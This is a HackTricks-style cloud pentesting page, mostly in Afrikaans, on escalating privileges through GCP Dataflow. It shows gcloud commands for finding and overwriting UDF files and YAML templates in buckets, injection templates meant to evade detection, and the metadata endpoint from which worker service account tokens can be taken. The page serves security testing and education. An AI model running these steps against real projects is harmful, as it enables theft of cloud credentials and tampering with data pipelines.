# GCP - Dataflow Privilege Escalation

{{#include ../../../banners/hacktricks-training.md}}

## Dataflow

{{#ref}}
../gcp-services/gcp-dataflow-enum.md
{{#endref}}

### `storage.objects.create`, `storage.objects.get`, `storage.objects.update`

Dataflow valideer nie die integriteit van UDFs en job template YAMLs wat in GCS gestoor word nie.
Met bucket write access kan jy hierdie lêers oorskryf om kode in te voeg, op die workers kode uit te voer, service account tokens te steel, of dataverwerking te verander.
Beide batch en streaming pipeline jobs is geskikte teikens vir hierdie aanval. Om hierdie aanval op 'n pipeline uit te voer moet ons UDFs/templates vervang voordat die job hardloop, tydens die eerste paar minute (voordat die job workers geskep word) of gedurende die job-run voordat nuwe workers spin up (weens autoscaling).

**Attack vectors:**
- **UDF hijacking:** Python (`.py`) en JS (`.js`) UDFs wat deur pipelines verwys word en in customer-managed buckets gestoor word
- **Job template hijacking:** Custom YAML pipeline definisies wat in customer-managed buckets gestoor word


> [!WARNING]
> **Run-once-per-worker trick:** Dataflow UDFs en template callables word aangeroep **per row/line**. Sonder koördinasie sou exfiltration of token theft duisende kere loop, wat geraas, rate limiting en opsporing tot gevolg het. Gebruik 'n **file-based coordination** patroon: kontroleer aan die begin of 'n marker-lêer (bv. `/tmp/pwnd.txt`) bestaan; as dit bestaan, slaan die kwaadwillige kode oor; as dit nie bestaan nie, voer die payload uit en skep die lêer. Dit verseker dat die payload **once per worker** hardloop, nie per line nie.


#### Direct exploitation via gcloud CLI

1. Enumereer Dataflow jobs en lokaliseer die template/UDF GCS-paaie:

<details>

<summary>Lys jobs en gebruik describe om die template path, staging location, en UDF-referensies te kry</summary>
```bash
# List jobs (optionally filter by region)
gcloud dataflow jobs list --region=<region>
gcloud dataflow jobs list --project=<PROJECT_ID>

# Describe a job to get template GCS path, staging location, and any UDF/template references
gcloud dataflow jobs describe <JOB_ID> --region=<region> --full --format="yaml"
# Look for: currentState, createTime, jobMetadata, type (JOB_TYPE_STREAMING or JOB_TYPE_BATCH)
# Pipeline options often include: tempLocation, stagingLocation, templateLocation, or flexTemplateGcsPath
```
</details>

2. Laai die oorspronklike UDF- of job-sjabloon vanaf GCS af:

<details>

<summary>Laai UDF-lêer of YAML-sjabloon vanaf bucket af</summary>
```bash
# If job references a UDF at gs://bucket/path/to/udf.py
gcloud storage cp gs://<BUCKET>/<PATH>/<udf_file>.py ./udf_original.py

# Or for a YAML job template
gcloud storage cp gs://<BUCKET>/<PATH>/<template>.yaml ./template_original.yaml
```
</details>

3. Wysig die lêer plaaslik: voeg die kwaadwillige payload in (sien Python UDF of YAML-fragmente hieronder) en maak seker dat die run-once coordination pattern gebruik word.

4. Herlaai om die oorspronklike lêer te oorskryf:

<details>

<summary>Oorskryf UDF of template in bucket</summary>
```bash
gcloud storage cp ./udf_injected.py gs://<BUCKET>/<PATH>/<udf_file>.py

# Or for YAML
gcloud storage cp ./template_injected.yaml gs://<BUCKET>/<PATH>/<template>.yaml
```
</details>

5. Wag vir die volgende job-run, of (vir streaming) trigger autoscaling (bv. die pipeline-invoer oorlaai) sodat nuwe workers opstart en die gewysigde lêer aflaai.

#### Python UDF injection

As jy wil hê dat die worker data na jou C2 server moet exfiltrate, gebruik `urllib.request` en nie `requests` nie.
`requests` is nie vooraf geïnstalleer op classic Dataflow workers nie.

<details>

<summary>Malicious UDF with run-once coordination and metadata extraction</summary>
```python
import os
import json
import urllib.request
from datetime import datetime

def _malicious_func():
# File-based coordination: run once per worker.
coordination_file = "/tmp/pwnd.txt"
if os.path.exists(coordination_file):
return

# malicous code goes here
with open(coordination_file, "w", encoding="utf-8") as f:
f.write("done")

def transform(line):
# Malicous code entry point - runs per line but coordination ensures once per worker
try:
_malicious_func()
except Exception:
pass
# ... original UDF logic follows ...
```
</details>


#### Job-sjabloon YAML-injeksie

Injekseer 'n `MapToFields`-stap met 'n callable wat 'n koordinasielêer gebruik. Vir YAML-gebaseerde pipelines wat `requests` ondersteun, gebruik dit as die sjabloon `dependencies: [requests]` verklaar; anders verkies `urllib.request`.

Voeg die opruimstap (`drop: [malicious_step]`) by sodat die pipeline steeds geldige data na die bestemming skryf.

<details>

<summary>Kwaadaardige MapToFields-stap en opruiming in pipeline YAML</summary>
```yaml
- name: MaliciousTransform
type: MapToFields
input: Transform
config:
language: python
fields:
malicious_step:
callable: |
def extract_and_return(row):
import os
import json
from datetime import datetime
coordination_file = "/tmp/pwnd.txt"
if os.path.exists(coordination_file):
return True
try:
import urllib.request
# malicious code goes here
with open(coordination_file, "w", encoding="utf-8") as f:
f.write("done")
except Exception:
pass
return True
append: true
- name: CleanupTransform
type: MapToFields
input: MaliciousTransform
config:
fields: {}
append: true
drop:
- malicious_step
```
</details>

### Compute Engine toegang tot Dataflow Workers

**Permissies:** `compute.instances.osLogin` of `compute.instances.osAdminLogin` (met `iam.serviceAccounts.actAs` oor die worker SA), of `compute.instances.setMetadata` / `compute.projects.setCommonInstanceMetadata` (met `iam.serviceAccounts.actAs`) vir legacy SSH key injection

Dataflow workers hardloop as Compute Engine VMs. Toegang tot workers via OS Login of SSH laat jou toe om SA-tokens van die metadata-endpoint (`http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token`) te lees, data te manipuleer, of willekeurige kode uit te voer.

Vir besonderhede oor uitbuiting, sien:
- [GCP - Compute Privesc](gcp-compute-privesc/README.md) — `compute.instances.osLogin`, `compute.instances.osAdminLogin`, `compute.instances.setMetadata`

## Verwysings

- [Dataflow Rider: How Attackers can Abuse Shadow Resources in Google Cloud Dataflow](https://www.varonis.com/blog/dataflow-rider)
- [Control access with IAM (Dataflow)](https://cloud.google.com/dataflow/docs/concepts/security-and-permissions)
- [gcloud dataflow jobs describe](https://cloud.google.com/sdk/gcloud/reference/dataflow/jobs/describe)
- [Apache Beam YAML: User-defined functions](https://beam.apache.org/documentation/sdks/yaml-udf/)
- [Apache Beam YAML Transform Reference](https://beam.apache.org/releases/yamldoc/current/)

{{#include ../../../banners/hacktricks-training.md}}
